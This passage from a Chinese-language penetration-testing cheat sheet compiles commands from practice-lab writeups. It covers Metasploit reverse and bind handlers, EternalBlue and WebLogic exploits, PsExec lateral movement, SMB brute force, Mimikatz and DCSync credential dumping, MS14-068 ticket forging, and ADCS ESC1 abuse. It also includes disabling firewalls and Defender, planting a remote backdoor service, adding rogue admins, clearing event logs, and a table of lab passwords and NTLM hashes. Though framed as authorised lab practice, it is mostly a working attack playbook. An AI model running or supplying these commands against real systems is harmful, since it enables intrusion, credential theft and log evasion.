17
18
19
20
21
22
23
24
25
26
# MSF:启动控制台。
msfconsole

# MSF:一行启动 bind_tcp handler,红日 1 用于连接目标 bind payload。
msfconsole -q -x "use multi/handler; set payload windows/meterpreter/bind_tcp; set RHOST 192.168.242.97; set LPORT 5555; run"

# MSF:Windows reverse_tcp handler。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.135.128
set LPORT 4444
run

# MSF:Windows x64 reverse_tcp handler。
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 5555
run

# MSF:Linux reverse_tcp handler。
use multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.157.129
set LPORT 4444
run

8.6 MSF 路由、SOCKS 与端口转发

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Meterpreter:添加内网路由,红日 1 用于访问 192.168.52.0/24。
run autoroute -s 192.168.52.0/24

# Meterpreter:添加内网路由,红日 3 用于访问 192.168.93.0/24。
run autoroute -s 192.168.93.0/24

# Meterpreter:查看 autoroute 路由。
run autoroute -p

# MSF:推荐的新 autoroute 模块用法,红日 2 用于 10.10.10.0/24。
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 10.10.10.0
run

# MSF:手动添加 route,红日 5 用于 192.168.138.0/24。
route add 192.168.138.0 255.255.255.0 1

# MSF:查看当前路由。
route print

# MSF:启动 SOCKS4a 代理,让 proxychains 等工具走 Meterpreter 路由。
use auxiliary/server/socks_proxy
set version 4a
set srvport 6677
run
bash
1
2
3
4
5
6
7
8
# 红日 3:在跳板主机上启动 Python 端口转发,监听 4444 并转发到 Kali 4444。
python sock.py 0.0.0.0 4444 192.168.188.104 4444 &

# 红日 3:转发 5555,用于第二组 handler 或横向 payload。
python sock.py 0.0.0.0 5555 192.168.188.104 5555 &

# 红日 3:转发 6666,保留备用通道。
python sock.py 0.0.0.0 6666 192.168.188.104 6666 &

8.7 MSF 漏洞利用与横向移动

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# 红日 2:MS17-010 EternalBlue,目标为 192.168.242.49。
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.242.49
set LHOST 192.168.188.104
run

# 红日 2:MS17-010 EternalBlue,切到 WEB 目标 192.168.242.226。
set RHOSTS 192.168.242.226
set LHOST 192.168.188.104
run

# 综合靶场:MS17-010 使用 x64 bind_tcp 打 WIN-PC8086。
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 172.22.10.36
set LPORT 4444
run
plain
1
2
3
4
5
6
7
8
9
# 红日 2:WebLogic CVE-2019-2725,必须手动设置 x64 payload。
search cve-2019-2725
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set TARGET Windows
set payload windows/x64/meterpreter/reverse_tcp
set RHOST 192.168.242.226
set LHOST 192.168.188.104
set LPORT 3333
run
plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# 红日 1:PsExec 第一次尝试 bind_tcp,认证成功但无 session,可用于判断防火墙/连接方向问题。
use exploit/windows/smb/psexec
set RHOSTS 192.168.52.138
set SMBDomain GOD
set SMBUser Administrator
set SMBPass hongrisec@2025
set payload windows/meterpreter/bind_tcp
set LPORT 4446
run

# 红日 1:PsExec 改 reverse_tcp 回连 Web 靶机内网 IP,成功拿域控。
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.52.141
set LPORT 4446
set AutoRunScript post/windows/manage/migrate
run
plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# 红日 2:PsExec 横向到 DE1AY 域控,使用 bind_tcp。
use exploit/windows/smb/psexec
set RHOSTS 10.10.10.10
set SMBDomain DE1AY
set SMBUser Administrator
set SMBPass 2wsx!QAZ
set payload windows/x64/meterpreter/bind_tcp
set RPORT 445
set LPORT 4445
run
plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 红日 3:SMB 爆破模板。RPORT 2222 是经过转发暴露出来的 SMB 端口。
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.242.63
set SMBUser administrator
set PASS_FILE /usr/share/wordlists/rockyou.txt
set RPORT 2222
set STOP_ON_SUCCESS true
run

# 红日 3:PsExec 通过转发端口横向到 WIN2008。
use exploit/windows/smb/psexec
set RHOSTS 192.168.242.63
set RPORT 2222
set SMBUser administrator
set SMBPass 123qwe!ASD
set LHOST 192.168.93.100
set LPORT 5555
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

# 红日 3:PsExec 通过转发端口横向到域控。
use exploit/windows/smb/psexec
set RHOSTS 192.168.242.63
set RPORT 1111
set SMBUser administrator
set SMBPass zxcASDqw123!!
set LHOST 192.168.93.10
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

8.8 Windows 域信息、RDP、防火墙与远程服务

cmd
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
:: 切换代码页,减少中文 Windows shell 乱码。
chcp 65001

:: 查看当前用户。
whoami

:: 查看网络配置,定位内网 IP、DNS、域信息。
ipconfig /all

:: 查看路由表。
route print

:: 查看 ARP 表,红日 1 用它发现 192.168.52.138 域控。
arp -a

:: 查看域列表。
net view /domain

:: 查看域用户。
net user /domain

:: 查看域管理员组。
net group "domain admins" /domain

:: 查看域控组。
net group "domain controllers" /domain

:: 查看域计算机组。
net group "domain computers" /domain

:: 通过域名解析确认域控 IP。
ping DC.sun.com
ping DE1AY.COM
ping test.org
cmd
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
:: 查看防火墙状态。
netsh advfirewall show allprofile state

:: 关闭防火墙,靶场连通性排障使用。
netsh advfirewall set allprofiles state off

:: 开启 RDP。
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

:: 放行 3389。
netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389

:: 关闭 Defender 实时防护,综合靶场 RDP 进 WIN-PC8098 后使用。
Set-MpPreference -DisableRealtimeMonitoring $true
bash
1
2
3
4
5
6
7
8
# Kali:RDP 登录红日 2 WEB。
rdesktop -u Administrator -p '2wsx!QAZ' -d DE1AY 192.168.242.226

# Kali:如果域账户 RDP 不顺,可使用本地账户登录。
rdesktop -u Administrator -p '2wsx!QAZ123' 192.168.242.226

# Kali:新版 xfreerdp 连接综合靶场 WIN-PC8098。
xfreerdp /v:172.22.10.40 /u:hacker /p:P@ssw0rd123 /cert:ignore
cmd
1
2
3
4
5
6
:: 红日 2:在 Meterpreter shell 中修改本地管理员密码。
net user Administrator 2wsx!QAZ123

:: 红日 5 / 综合靶场:新增本地管理员用户。
net user hacker P@ssw0rd123 /add
net localgroup Administrators hacker /add
cmd
1
2
3
4
5
6
:: 验证域控 C$ 可达,红日 2 中用于确认凭据和横向条件。
net use \\10.10.10.10\c$ "2wsx!QAZ" /user:DE1AY\Administrator
dir \\10.10.10.10\c$

:: 红日 4:MS14-068 注入票据后验证能访问域控 C$。
dir \\WIN-ENS2VR5TR3N\c$
cmd
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
:: 红日 4:远程创建服务关闭域控防火墙。1053 超时不一定代表命令没执行。
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall

:: 红日 4:上传 bind.exe 后远程创建服务执行 payload。
copy C:\Users\douser\Desktop\bind.exe \\WIN-ENS2VR5TR3N\c$\windows\temp\
sc \\WIN-ENS2VR5TR3N create BackdoorService binpath= "c:\windows\temp\bind.exe"
sc \\WIN-ENS2VR5TR3N start BackdoorService

:: 红日 4:通过远程服务把 douser 加入域管理员组。
sc \\WIN-ENS2VR5TR3N create adddomainadmin binpath= "net group \"domain admins\" douser /add /domain"
sc \\WIN-ENS2VR5TR3N start adddomainadmin

:: 红日 4:验证 douser 已进入 Domain Admins。
net user douser /domain

8.9 Mimikatz / Kiwi / Kerberos / ADCS

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Meterpreter:加载 Kiwi。
load kiwi

# Meterpreter:启用调试权限。
kiwi_cmd privilege::debug

# Meterpreter:读取 LSASS 中的登录凭据。
kiwi_cmd sekurlsa::logonpasswords

# Meterpreter:DCSync 导出域内 Hash,红日 4 获取 krbtgt / Administrator。
kiwi_cmd lsadump::dcsync /domain:DEMO.com /all /csv
plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# Mimikatz:启用调试权限。
mimikatz # privilege::debug

# Mimikatz:抓取登录密码和 Hash。
mimikatz # sekurlsa::logonpasswords

# Mimikatz:查看当前 Kerberos 票据。
mimikatz # kerberos::list

# Mimikatz:注入 MS14-068 生成的 ccache。
mimikatz # kerberos::ptc TGT_douser@DEMO.com.ccache

# Mimikatz:退出。
mimikatz # exit
cmd
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
:: Windows:清理当前登录会话的 Kerberos 票据。
klist purge

:: Windows:查看当前 Kerberos 票据。
klist

:: 红日 4:生成 MS14-068 伪造票据。
ms14-068.exe -u douser@DEMO.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

:: 红日 4:命令行方式注入票据。
mimikatz.exe "kerberos::ptc TGT_douser@DEMO.com.ccache" exit

:: 红日 5:获取域用户 SID,去掉末尾 RID 后就是域 SID。
wmic useraccount where name='Administrator' get sid
bash
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Impacket:枚举约束委派信息。
python3 findDelegation.py aerospace.local/WIN-PC8086\$ -hashes :1878248073dc58f665227675e99b8333 -dc-ip 172.22.10.11

# Impacket:使用机器账户 Hash 申请 CIFS/WIN-PC8098 的委派票据,并模拟 Administrator。
python3 getST.py aerospace.local/WIN-PC8086\$ -hashes :1878248073dc58f665227675e99b8333 -spn CIFS/WIN-PC8098.aerospace.local -impersonate Administrator -dc-ip 172.22.10.11

# Linux:指定 Kerberos ccache 文件。
export KRB5CCNAME='Administrator@CIFS_WIN-PC8098.aerospace.local@AEROSPACE.LOCAL.ccache'

# Linux:向域控 DNS 查询目标主机名。
nslookup WIN-PC8098.aerospace.local 172.22.10.11

# Linux:写 hosts,解决 Impacket Kerberos 模式名称解析。
echo '172.22.10.40 WIN-PC8098.aerospace.local WIN-PC8098' >> /etc/hosts
echo '172.22.10.13 CA.aerospace.local CA' >> /etc/hosts
echo '172.22.10.11 DC01.aerospace.local DC01' >> /etc/hosts

# Impacket:使用 Kerberos 票据登录 WIN-PC8098。
python3 wmiexec.py -k aerospace.local/Administrator@WIN-PC8098.aerospace.local -no-pass -dc-ip 172.22.10.11

# Impacket:使用改密后的域管密码登录 DC01。
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py aerospace.local/Administrator:'P@ssw0rd2024!'@DC01.aerospace.local -dc-ip 172.22.10.11

# Impacket:使用域管密码登录 CA。
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py aerospace.local/Administrator:'P@ssw0rd2024!'@CA.aerospace.local -dc-ip 172.22.10.13
bash
1
2
3
4
5
# Certipy:申请带 Administrator UPN 的证书,利用 ADCS ESC1。
certipy-ad req -username liuyuhua@aerospace.local -hashes :2c8e4ec4d8a61869d85c7921c6076dfd -ca aerospace-CA-CA -target CA.aerospace.local -template AeroUser -upn Administrator@aerospace.local -dns DC01.aerospace.local -dc-ip 172.22.10.11 -ns 172.22.10.11 -debug

# Certipy:PKINIT 不可用时,使用证书走 LDAPS/Schannel 进入 LDAP Shell。
certipy-ad auth -pfx administrator_dc01.pfx -dc-ip 172.22.10.11 -ldap-shell
plain
1
2
3
4
5
# Certipy LDAP Shell:确认当前认证身份。
whoami

# Certipy LDAP Shell:修改 Administrator 密码,综合靶场用于后续 WMI 横向。
change_password Administrator P@ssw0rd2024!

8.10 Linux / SSH / 提权相关

bash
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 红日 3:旧 SSH 服务只支持 ssh-rsa 时,显式启用旧算法登录。
ssh -o HostKeyAlgorithms=+ssh-rsa wwwuser@192.168.242.92

# Linux:查看当前目录。
pwd

# Linux:列根目录,判断系统结构。
ls /

# Linux:查看用户列表。
cat /etc/passwd
bash
1
2
3
4
5
6
7
# 红日 4:启动 Struts2、Tomcat、phpMyAdmin 三组 Docker 靶场服务。
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

8.11 授权实验清理命令

cmd
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
:: 红日 4:删除远程服务痕迹。
sc \\WIN-ENS2VR5TR3N delete BackdoorService
sc \\WIN-ENS2VR5TR3N delete unablefirewall
sc \\WIN-ENS2VR5TR3N delete addadmin
sc \\WIN-ENS2VR5TR3N delete adddomainadmin
sc \\WIN-ENS2VR5TR3N delete checkfw
sc \\WIN-ENS2VR5TR3N delete openrdp
sc \\WIN-ENS2VR5TR3N delete stopfw
sc \\WIN-ENS2VR5TR3N delete killold
sc \\WIN-ENS2VR5TR3N delete enable_rdp

:: 红日 4:删除计划任务。
schtasks /delete /s WIN-ENS2VR5TR3N /tn "FinalStrike" /f
schtasks /delete /s WIN-ENS2VR5TR3N /tn "MyShell" /f

:: 红日 4:删除域控上落地文件。
del \\WIN-ENS2VR5TR3N\c$\windows\temp\bind.exe
del \\WIN-ENS2VR5TR3N\c$\windows\temp\fw.txt

:: 红日 4:删除 Win7 上工具和票据文件。
cd C:\Users\douser\Desktop
del bind.exe
del ms14-068.exe
del mimikatz.exe
del TGT_douser@DEMO.com.ccache
del C:\Windows\System32\bind.exe

:: 红日 4:把 douser 移出域管理员组。
net group "domain admins" douser /delete /domain

:: 红日 4:把 douser 移出域控本地管理员组。
net localgroup administrators douser /delete /domain

:: 红日 4:清理当前内存票据。
klist purge
plain
1
2
3
4
5
6
7
8
# Meterpreter:清理 Windows 事件日志。只用于授权靶场复盘。
clearev

# Meterpreter:事件管理模块,查看事件。
run event_manager -i

# Meterpreter:事件管理模块,清理事件。
run event_manager -c

9. 授权靶场凭据索引

来源账户明文/Hash用途
红日1靶场(灵境平台)完整渗透记录phpMyAdminroot/root初始入口
红日1靶场(灵境平台)完整渗透记录GOD\Administratorhongrisec@2025,NTLM ad8b1b80e5d43bd61ab6796242bc7daa域控横向
红日2靶场(灵境平台)DE1AY\Administrator2wsx!QAZ,NTLM cf83cd7efde13e0ce754874aaa979a74RDP/PsExec
红日2靶场(灵境平台)DE1AY\de1ay / mssql1qaz@WSX,NTLM 161cff084477fe596a5db81874498a24域用户/数据库
红日3靶场(灵境平台)MySQL testusercvcvgjASD!@Joomla 数据库
红日3靶场(灵境平台)SSH wwwuserwwwuser_123AqxLinux 登录
红日3靶场(灵境平台)Windows administrator123qwe!ASDzxcASDqw123!!SMB/PsExec
红日4靶场DEMO\douserDotest123,SID S-1-5-21-979886063-1111900045-1414766810-1107MS14-068
红日4靶场DEMO\krbtgtNTLM 7c4ed692473d4b4344c3ba01c5e6cb63票据材料
红日5靶场SUN\Administratordc123.com,NTLM e8bea972b3549868cecd667a64a6ac46域控横向
红日5靶场SUN\krbtgtNTLM 65dc23a67f31503698981f2665f9d858黄金票据
内网渗透体系建设 — 靶场 WriteUpMSSQL sa123456初始入口
内网渗透体系建设 — 靶场 WriteUpWIN-PC8086$NTLM 1878248073dc58f665227675e99b8333约束委派
内网渗透体系建设 — 靶场 WriteUpaerospace\liuyuhuaYu%a#E8T6iR,NTLM 2c8e4ec4d8a61869d85c7921c6076dfdADCS

10. 踩坑索引

快速判断处理
Kali 不能访问靶场宿主能通,Kali 不通桥接 VPN/检查路由
INTO OUTFILE 失败secure_file_priv 限制改 MySQL 日志写马
Kiwi 报 x86/x64x86 meterpreter 在 x64 系统migrate 到 x64 进程
认证成功无 session连接方向/防火墙/端口问题reverse、bind、LHOST、LPORT 轮换判断
net user /domain 1355DNS 或域控不可达通过 ARP、ping 域名、端口扫描补证据
sc start 1053非服务型 payload 超时看监听是否收到连接
Kerberos 名称解析失败FQDN 不通写 hosts,指定 DC/DNS
PKINIT 不支持KDC_ERR_PADATA_TYPE_NOSUPP走 Schannel/LDAP
RDP 参数报错xfreerdp 版本变化使用 /cert:ignore
普通域用户不能横向没有目标管理员权限找域管、委派、ADCS、漏洞横向

11. 复盘清单

每完成一个靶场,按下面几项补笔记:

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
靶场:
来源:
入口点:
初始权限:
提权路径:
内网网段:
域控定位方式:
凭据来源:
横向方式:
域攻击方式:
失败点:
最可复用的一句话:
防守检测点: